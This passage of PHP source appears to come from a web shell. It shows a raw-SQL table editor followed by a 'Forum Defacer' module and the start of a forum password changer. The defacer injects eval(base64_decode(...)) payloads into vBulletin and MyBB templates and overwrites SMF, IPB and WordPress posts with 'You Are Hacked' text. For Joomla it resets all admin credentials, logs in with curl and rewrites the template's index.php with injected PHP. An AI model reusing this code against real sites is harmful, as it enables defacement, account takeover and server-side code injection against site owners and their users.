  3470.                 echo "<option>USER\n";
  3471.                 echo "<option>WEEKDAY\n";
  3472.                 echo "<option>RAND\n";
  3473.                 echo "</select>\n";
  3474.                 echo "</td>\n";
  3475.                 $value = htmlspecialchars($data[$i]);
  3476.                 $type = strtok( $fieldtype, " (,)\n" );
  3477.                 if( $type == "enum" || $type == "set" )
  3478.                 {
  3479.                     echo "<td>\n";
  3480.                     if( $type == "enum" )
  3481.                         echo "<select name=$fieldname class=box>\n";
  3482.                     else if( $type == "set" )
  3483.                         echo "<select name=$fieldname size=4 class=box multiple>\n";
  3484.                     while( $str = strtok( "'" ) )
  3485.                     {
  3486.                         if( $value == $str )
  3487.                             echo "<option selected>$str\n";
  3488.                         else
  3489.                             echo "<option>$str\n";
  3490.                         strtok( "'" );
  3491.                     }
  3492.                     echo "</select>\n";
  3493.                     echo "</td>\n";
  3494.                     }
  3495.                     else
  3496.                     {
  3497.                         if( $len < 40 )
  3498.                             echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\" class=box></td>\n";
  3499.                         else
  3500.                             echo "<td><textarea cols=47 rows=3 maxlength=$len name=$fieldname class=box>$value</textarea>\n";
  3501.                     }
  3502.                 echo "</tr>";
  3503.             }
  3504.             echo "</table><p>\n";
  3505.             echo "<input type=submit value='Edit Data' class=but>\n";
  3506.             echo "<input type=button value='Cancel' onClick='history.back()' class=but>\n";
  3507.             echo "</form>\n";
  3508.         }
  3509.     }
  3510.  
  3511.     // Edit Submit Table Data
  3512.     else if($_REQUEST['action'] == "editsubmitData")
  3513.     {
  3514.             $dbserver = $_COOKIE["dbserver"];
  3515.             $dbuser = $_COOKIE["dbuser"];
  3516.             $dbpass = $_COOKIE["dbpass"];
  3517.             $dbname = $_POST['dbname'];
  3518.             $tablename = $_POST['tablename'];
  3519.            
  3520.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3521.             mysql_select_db($dbname);
  3522.            
  3523.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3524.             $row = mysql_fetch_array($sql);
  3525.             $row = $row['COLUMN_NAME'];
  3526.             $rowid = $_POST[$row];
  3527.            
  3528.             $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  3529.             $num = mysql_num_rows( $pResult );
  3530.            
  3531.             $rowcount = $num;
  3532.                        
  3533.             $pResultLen = mysql_list_fields( $dbname, $tablename );
  3534.        
  3535.            
  3536.                        
  3537.             for( $i = 0; $i < $num; $i++ )
  3538.             {
  3539.                 $field = mysql_fetch_array( $pResult );
  3540.                 $fieldname = $field["Field"];
  3541.                 $arrdata = $_REQUEST[$fieldname];
  3542.                        
  3543.                
  3544.                 $str .= " " . $fieldname . " = '" . $arrdata . "'";
  3545.                 $rowcount--;
  3546.                 if($rowcount != 0)
  3547.                     $str .= ",";
  3548.             }
  3549.            
  3550.             $str = "update $tablename set" . $str . " where $row=$rowid";
  3551.             mysql_query($str);
  3552.             header("Location:$self?action=viewdata&dbname=$dbname&tablename=$tablename");
  3553.     }
  3554.     else if(isset($_GET['logoutdb']))
  3555.     {
  3556.         setcookie("dbserver",time() - 60*60);
  3557.         setcookie("dbuser",time() - 60*60);
  3558.         setcookie("dbpass",time() - 60*60);
  3559.         header("Location:$self?database");
  3560.     }
  3561.            
  3562.     // Forum Manager
  3563.     else if(isset($_REQUEST["forum"]))
  3564.     { ?>
  3565.         <center><table><tr><td><a href="<?php echo $self; ?>?forum&defaceforum">| Forum Defacer |</a></td>
  3566.         <td><a href="<?php echo $self; ?>?forum&passwordchange">| Forum Password Changer |</a></td>
  3567.         </tr></table></center><br>
  3568.         <?php
  3569.         if(isset($_REQUEST["defaceforum"]))
  3570.         {
  3571.             // Deface Forums
  3572.             if(isset($_POST['forumdeface']))
  3573.             {
  3574.                 if($_POST['forumdeface'] == "Hack VB")
  3575.                 {
  3576.                     $localhost =  $_POST['f1'];
  3577.                     $database =  $_POST['f2'];
  3578.                     $username =  $_POST['f3'];
  3579.                     $password =  $_POST['f4'];
  3580.                     $index    =  $_POST['index'];
  3581.                     $prefix    =  $_POST['prefix'];
  3582.  
  3583.                         $con =@ mysql_connect($localhost,$username,$password);
  3584.                         $db =@ mysql_select_db($database,$con);  
  3585.                         $index=str_replace('"','\\"',$index);
  3586.                         $attack  = "{\${eval(base64_decode(\'";
  3587.                         $attack .= base64_encode("echo \"$index\";");
  3588.                         $attack .= "\'))}}{\${exit()}}</textarea>";
  3589.                         if($prefix == "" || $prefix == null)
  3590.                             $query = "UPDATE template SET template = '$attack'";
  3591.                         else
  3592.                             $query = "UPDATE ".$prefix."template SET template = '$attack'";
  3593.                         $result =@ mysql_query($query,$con);
  3594.                         if($result)
  3595.                         {
  3596.                             echo "<center><font size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
  3597.                         }
  3598.                         else
  3599.                         {
  3600.                             echo "<center><font class=txt size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
  3601.                         }
  3602.                 }
  3603.                 else if($_POST['forumdeface'] == "Hack MyBB")
  3604.                 {
  3605.                     $localhost =  $_POST['f1'];
  3606.                     $database =  $_POST['f2'];
  3607.                     $username =  $_POST['f3'];
  3608.                     $password =  $_POST['f4'];
  3609.                     $index    =  $_POST['index'];
  3610.                     $prefix    =  $_POST['prefix'];
  3611.                    
  3612.                         $con =@ mysql_connect($localhost,$username,$password);
  3613.                         $db =@ mysql_select_db($database,$con);  
  3614.                         $attack  = "{\${eval(base64_decode(\'";
  3615.                         $attack .= base64_encode("echo \"$index\";");
  3616.                         $attack .= "\'))}}{\${exit()}}</textarea>";
  3617.                         $attack  = str_replace('"',"\\'",$attack);
  3618.                    
  3619.                         if($prefix == "" || $prefix == null)
  3620.                             $query = "UPDATE mybb_templates SET template = '$attack'";
  3621.                         else
  3622.                             $query = "UPDATE ".$prefix."templates SET template = '$attack'";
  3623.                         $result =@ mysql_query($query,$con);
  3624.                         if($result)
  3625.                         {
  3626.                             echo "<center><font size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
  3627.                         }
  3628.                         else
  3629.                         {
  3630.                             echo "<center><font class=txt size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
  3631.                         }
  3632.                 }
  3633.                 else if($_POST['forumdeface'] == "Hack SMF")
  3634.                 {
  3635.                     $localhost =  $_POST['f1'];
  3636.                     $database =  $_POST['f2'];
  3637.                     $username =  $_POST['f3'];
  3638.                     $password =  $_POST['f4'];
  3639.                     $index    =  $_POST['index'];
  3640.                     $head    =  $_POST['head'];
  3641.                     $catid    =  $_POST['f5'];
  3642.                     $prefix    =  $_POST['prefix'];
  3643.                    
  3644.                         $con =@ mysql_connect($localhost,$username,$password);
  3645.                         $db =@ mysql_select_db($database,$con);  
  3646.                         if($prefix == "" || $prefix == null)
  3647.                             $query = "UPDATE boards SET name='$head', description='$index' WHERE id_cat='$catid'";
  3648.                         else
  3649.                             $query = "UPDATE ".$prefix."boards SET name='$head', description='$index' WHERE id_cat='$catid'";
  3650.                         $result =@ mysql_query($query,$con);
  3651.                         if($result)
  3652.                         {
  3653.                             echo "<center><font size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
  3654.                         }
  3655.                         else
  3656.                         {
  3657.                             echo "<center><font class=txt size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
  3658.                         }
  3659.                 }
  3660.                 else if($_POST['forumdeface'] == "Hack IPB")
  3661.                 {
  3662.                     $localhost =  $_POST['f1'];
  3663.                     $database =  $_POST['f2'];
  3664.                     $username =  $_POST['f3'];
  3665.                     $password =  $_POST['f4'];
  3666.                     $index    =  $_POST['index'];
  3667.                     $head    =  $_POST['head'];
  3668.                     $catid    =  $_POST['f5'];
  3669.                    
  3670.                         $IPB = "forums";
  3671.                         $con =@ mysql_connect($localhost,$username,$password);
  3672.                         $db =@ mysql_select_db($database,$con);  
  3673.                         $query = "UPDATE $IPB SET name = '$head', description = '$index' where id = '$catid'";
  3674.                         $result =@ mysql_query($query,$con);
  3675.                         if($result)
  3676.                         {
  3677.                             echo "<center><font size=4><blink>Forum Defaced Successfully</blink></font></center>";
  3678.                         }
  3679.                         else
  3680.                         {
  3681.                             echo "<center><font class=txt size=4><blink>Cannot Deface Forum</blink></font></center>";
  3682.                         }
  3683.                 }
  3684.                 else if($_POST['forumdeface'] == "Hack wordpress")
  3685.                 {
  3686.                     $localhost =  $_POST['f1'];
  3687.                     $database =  $_POST['f2'];
  3688.                     $username =  $_POST['f3'];
  3689.                     $password =  $_POST['f4'];
  3690.                     $catid = $_POST['f5'];
  3691.                     $index    =  $_POST['index'];
  3692.                     $head    =  $_POST['head'];
  3693.                     $prefix    =  $_POST['prefix'];
  3694.                    
  3695.                         $con =@ mysql_connect($localhost,$username,$password);
  3696.                         $db =@ mysql_select_db($database,$con);  
  3697.                         if($prefix == "" || $prefix == null)
  3698.                         {
  3699.                             if(isset($_POST["all"]) && $_POST["all"] == "All")
  3700.                                 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index'";
  3701.                             else
  3702.                                 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
  3703.                         }
  3704.                         else
  3705.                         {
  3706.                             if(isset($_POST["all"]) && $_POST["all"] == "All")
  3707.                                 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index'";
  3708.                             else
  3709.                                 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
  3710.                            
  3711.                         }
  3712.                         $result =@ mysql_query($query,$con);
  3713.                         if($result)
  3714.                         {
  3715.                             echo "<center><font size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
  3716.                         }
  3717.                         else
  3718.                         {
  3719.                             echo "<center><font class=txt size=4><blink>Cannot Deface Wordpress</blink></font></center>";
  3720.                         }
  3721.                 }
  3722.                 else if($_POST['forumdeface'] == "Hack Joomla")
  3723.                 {
  3724.                     $localhost =  $_POST['f1'];
  3725.                     $dbname =  $_POST['f2'];
  3726.                     $username =  $_POST['f3'];
  3727.                     $password =  $_POST['f4'];
  3728.                     $dbprefix =  $_POST['prefix'];
  3729.                     $site_url = $_POST['siteurl'];
  3730.                     $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['index']))))."'))); exit; ?>";
  3731.  
  3732.                     $co=randomt();
  3733.                    
  3734.                     $link=mysql_connect("localhost",$username,$password) ;
  3735.  
  3736.                     mysql_select_db($dbname,$link);
  3737.                
  3738.                     $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
  3739.                                              
  3740.                     $req =mysql_query("SELECT * from  `".$dbprefix."extensions` ");
  3741.                          
  3742.                     if ( $req )
  3743.                     {
  3744.                         $req =mysql_query("SELECT * from  `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
  3745.                         $data = mysql_fetch_array($req);
  3746.                         $template_name=$data["template"];
  3747.                        
  3748.                         $req =mysql_query("SELECT * from  `".$dbprefix."extensions` WHERE name='".$template_name."'");
  3749.                              $data = mysql_fetch_array($req);
  3750.                         $template_id=$data["extension_id"];
  3751.                        
  3752.                         $url2=$site_url."/index.php";
  3753.                        
  3754.                         $ch = curl_init();
  3755.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3756.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3757.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3758.                         curl_setopt($ch, CURLOPT_HEADER, 1);
  3759.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3760.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3761.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3762.                
  3763.                
  3764.                         $buffer = curl_exec($ch);
  3765.                        
  3766.                         $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
  3767.                         $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
  3768.                
  3769.                
  3770.                         $url2=$site_url."/index.php";
  3771.                         $ch = curl_init();
  3772.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3773.                         curl_setopt($ch, CURLOPT_POST, 1);
  3774.                         curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
  3775.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3776.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3777.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3778.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3779.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3780.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3781.                         $buffer = curl_exec($ch);
  3782.                        
  3783.                         $pos = strpos($buffer,"com_config");
  3784.                         if($pos === false)
  3785.                         {
  3786.                             echo("<br>[-] Login Error");
  3787.                             exit;
  3788.                         }
  3789.                                        
  3790.                         $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
  3791.                         $ch = curl_init();
  3792.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3793.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3794.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3795.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3796.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3797.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3798.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3799.                         $buffer = curl_exec($ch);
  3800.                
  3801.                         $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
  3802.                         if(!$hidden2)
  3803.                         {
  3804.                             echo("<br>[-] index.php Not found in Theme Editor");
  3805.                             exit;
  3806.                         }
  3807.                        
  3808.                         $url2=$site_url."/index.php?option=com_templates&layout=edit";
  3809.                        
  3810.                         $ch = curl_init();
  3811.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3812.                         curl_setopt($ch, CURLOPT_POST, 1);
  3813.                         curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
  3814.                        
  3815.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3816.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3817.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3818.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3819.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3820.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3821.                         $buffer = curl_exec($ch);
  3822.                
  3823.                         $pos = strpos($buffer,'<dd class="message message">');
  3824.                         if($pos === false)
  3825.                         {
  3826.                             echo("<center><font class=txt size=4><blink>Cannot Deface Joomla</blink></font></center>");
  3827.                            
  3828.                         }
  3829.                         else
  3830.                         {
  3831.                             echo("<center><font size=4><blink>Joomla Defaced Successfully</blink></font></center>");
  3832.                         }
  3833.                        
  3834.                     }
  3835.                     else
  3836.                     {
  3837.                         $req =mysql_query("SELECT * from  `".$dbprefix."templates_menu` WHERE client_id='0'");
  3838.                         $data = mysql_fetch_array($req);
  3839.                         $template_name=$data["template"];
  3840.                        
  3841.                         $url2=$site_url."/index.php";
  3842.                         $ch = curl_init();
  3843.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3844.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3845.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3846.                         curl_setopt($ch, CURLOPT_HEADER, 1);
  3847.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3848.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3849.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3850.                         $buffer = curl_exec($ch);
  3851.                        
  3852.                         $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
  3853.                        
  3854.                         $url2=$site_url."/index.php";
  3855.                         $ch = curl_init();
  3856.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3857.                         curl_setopt($ch, CURLOPT_POST, 1);
  3858.                         curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
  3859.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3860.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3861.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3862.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3863.                         curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3864.                         curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3865.                         $buffer = curl_exec($ch);
  3866.                        
  3867.                         $pos = strpos($buffer,"com_config");
  3868.                
  3869.                         if($pos === false)
  3870.                         {
  3871.                             echo("<br>[-] Login Error");
  3872.                             exit;
  3873.                         }
  3874.                                        
  3875.                         $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
  3876.                         $ch = curl_init();
  3877.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3878.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3879.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3880.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3881.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3882.                             curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3883.                             curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3884.                         $buffer = curl_exec($ch);
  3885.                        
  3886.                         $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
  3887.                        
  3888.                         if(!$hidden2)
  3889.                         {
  3890.                             echo("<br>[-] index.php Not found in Theme Editor");
  3891.                         }
  3892.                
  3893.                         $url2=$site_url."/index.php?option=com_templates&layout=edit";
  3894.                         $ch = curl_init();
  3895.                         curl_setopt($ch, CURLOPT_URL, $url2);
  3896.                         curl_setopt($ch, CURLOPT_POST, 1);
  3897.                         curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
  3898.                         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3899.                         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3900.                         curl_setopt($ch, CURLOPT_HEADER, 0);
  3901.                         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  3902.                             curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  3903.                             curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  3904.                         $buffer = curl_exec($ch);
  3905.                        
  3906.                         $pos = strpos($buffer,'<dd class="message message fade">');
  3907.                         if($pos === false)
  3908.                         {
  3909.                             echo("<center><font class=txt size=4><blink>Cannot Deface Joomla</blink></font></center>");
  3910.                             exit;
  3911.                         }
  3912.                         else
  3913.                         {
  3914.                             echo("<center><font size=4><blink>Joomla Defaced Successfully</blink></font></center>");
  3915.                         }
  3916.                     }
  3917.                 }
  3918.             }
  3919.         ?>
  3920.         <center>
  3921.             <font class="tblheads" size="4">Vbulletin Forum Index Changer</font>
  3922.             <form action="<?php echo $self; ?>" method = "POST">
  3923.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  3924.                 <tr>
  3925.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3926.                 <p>
  3927.                     Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  3928.                 </p>
  3929.                 </tr>
  3930.                 <tr>
  3931.                     <td height="167" width="780"><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8>lol ! You Are Hacked !!!!</textarea><p align="center"><input type = "submit" class="but" value = "Hack VB" name="forumdeface"></td>
  3932.                 </tr>
  3933.             </table>
  3934.             </form>
  3935.            
  3936.             <font class="tblheads" size="4">MyBB Forum Index Changer</font>
  3937.             <form action="<?php echo $self; ?>" method = "POST">
  3938.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  3939.                 <tr>
  3940.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3941.                     <p>
  3942.                         Table Prefix : <input type="text" name="prefix" value="mybb_" class="sbox"> (Optional)</td>
  3943.                     </p>   
  3944.                     </td>
  3945.                 </tr>
  3946.                 <tr>
  3947.                     <td height="167" width="780"><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8>lol ! You Are Hacked !!!!</textarea><p align="center"><input type = "submit" class="but" value = "Hack MyBB" name="forumdeface"></td>
  3948.                 </tr>
  3949.             </table>
  3950.             </form>
  3951.            
  3952.             <font class="tblheads" size="4">SMF Forum Index Changer</font>
  3953.             <form action="<?php echo $self; ?>" method = "POST">
  3954.             <input type="hidden" name="forum">
  3955.             <input type="hidden" name="defaceforum">
  3956.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  3957.                 <tr>
  3958.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3959.                     <p>
  3960.                         Table Prefix : <input type="text" name="prefix" value="smf_" class="sbox"> (Optional)</td>
  3961.                     </p>
  3962.                     </td>
  3963.                 </tr>
  3964.                 <tr>
  3965.                     <td height="105" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1"></p><p align="center"><textarea name="index" rows="8" cols="53" class="box"><b>lol ! You Are Hacked !!!!</b></textarea></p><input type = "submit" class="but" value = "Hack SMF" name="forumdeface"></p></td>
  3966.                    
  3967.                 </tr>
  3968.             </table>
  3969.             </form>
  3970.            
  3971.             <font class="tblheads" size="4">IPB Forum Index Changer</font>
  3972.             <form action="<?php echo $self; ?>" method = "POST">
  3973.             <input type="hidden" name="forum">
  3974.             <input type="hidden" name="defaceforum">
  3975.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  3976.                 <tr>
  3977.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20"></td>
  3978.                 </tr>
  3979.                 <tr>
  3980.                     <td height="167" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1"></p><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center"><input type = "submit" class="but" value = "Hack IPB" name="forumdeface"></td>
  3981.                 </tr>
  3982.             </table>
  3983.             </form>    
  3984.            
  3985.             <font class="tblheads" size="4">Wordpress Index Changer</font>
  3986.             <form action="<?php echo $self; ?>" method = "POST">
  3987.             <input type="hidden" name="forum">
  3988.             <input type="hidden" name="defaceforum">
  3989.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  3990.                 <tr>
  3991.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3992.                     <p>
  3993.                         Table Prefix : <input type="text" name="prefix" value="wp_" class="sbox"> (Optional)</td>
  3994.                     </p>
  3995.                     </td>
  3996.                 </tr>
  3997.                 <tr>
  3998.                     <td height="105" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">&nbsp;<label><input type="checkbox" name="all" value="All" checked="checked"> All</label><p align="center"><textarea class="box" name="index" rows="8" cols="53"><b>lol ! You Are Hacked !!!!</b></textarea></p>
  3999.                     <br><input type = "submit" class="but" value = "Hack wordpress" name="forumdeface"></td>
  4000.                    
  4001.                 </tr>
  4002.             </table>
  4003.             </form>
  4004.             <font class="tblheads" size="4">Joomla Index Changer</font>
  4005.             <form action="<?php echo $self; ?>" method = "POST">
  4006.             <input type="hidden" name="forum">
  4007.             <input type="hidden" name="defaceforum">
  4008.             <table border = "1" width="50%" height="316" style="text-align: center;border-color:#333333;" align="center">
  4009.                 <tr>
  4010.                     <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4011.                     <p>
  4012.                         Table Prefix : <input type="text" name="prefix" value="jos_" class="sbox"> (Optional)</td>
  4013.                     </p>
  4014.                     </td>
  4015.                 </tr>
  4016.                 <tr>
  4017.                     <td height="105" width="780"><p align="center"><b>Site Url : </b><input class="box" type="text" name="siteurl" width="80" value="http://site.com/administrator/"><p align="center"><textarea class="box" name="index" rows="8" cols="53"><b>lol ! You Are Hacked !!!!</b></textarea></p>
  4018.                     <br><input type = "submit" class="but" value = "Hack Joomla" name="forumdeface"></td>
  4019.                    
  4020.                 </tr>
  4021.             </table>
  4022.             </form>
  4023.         </center>  
  4024.     <?php
  4025.         }
  4026.         else if(isset($_GET["passwordchange"]))
  4027.         {
  4028.             echo "<center>";
  4029.             if(isset($_GET['changed']))
  4030.             {   ?><font class="txt"><blink>Password Changed Successfully</blink></font><br><br><?php }
  4031.             else if(isset($_GET['cannotchange']))
  4032.             {   ?><blink>Cannot Change Password</blink><br><br> <?php } ?>
  4033.            
  4034.             <font class="tblheads" size="4">Vbulletin Forum Password Changer</font>
  4035.             <form action="<?php echo $self; ?>" method = "POST">
  4036.             <input type="hidden"  name="forums" value="vb">
  4037.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4038.                 <tr>
  4039.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4040.                 <p>
  4041.                     Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  4042.                 </p>
  4043.                 </tr>
  4044.                 <tr>
  4045.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4046.                 </tr>
  4047.             </table>
  4048.             </form>
  4049.            
  4050.             <font class="tblheads" size="4">MyBB Forum Password Changer</font>
  4051.             <form action="<?php echo $self; ?>" method = "POST" name="mybb">
  4052.             <input type="hidden"  name="forums" value="mybb">
  4053.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4054.                 <tr>
  4055.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4056.                 <p>
  4057.                     Table Prefix : <input type="text" name="prefix" value="mybb_" class="sbox"> (Optional)</td>
  4058.                 </p>
  4059.                 </tr>
  4060.                 <tr>
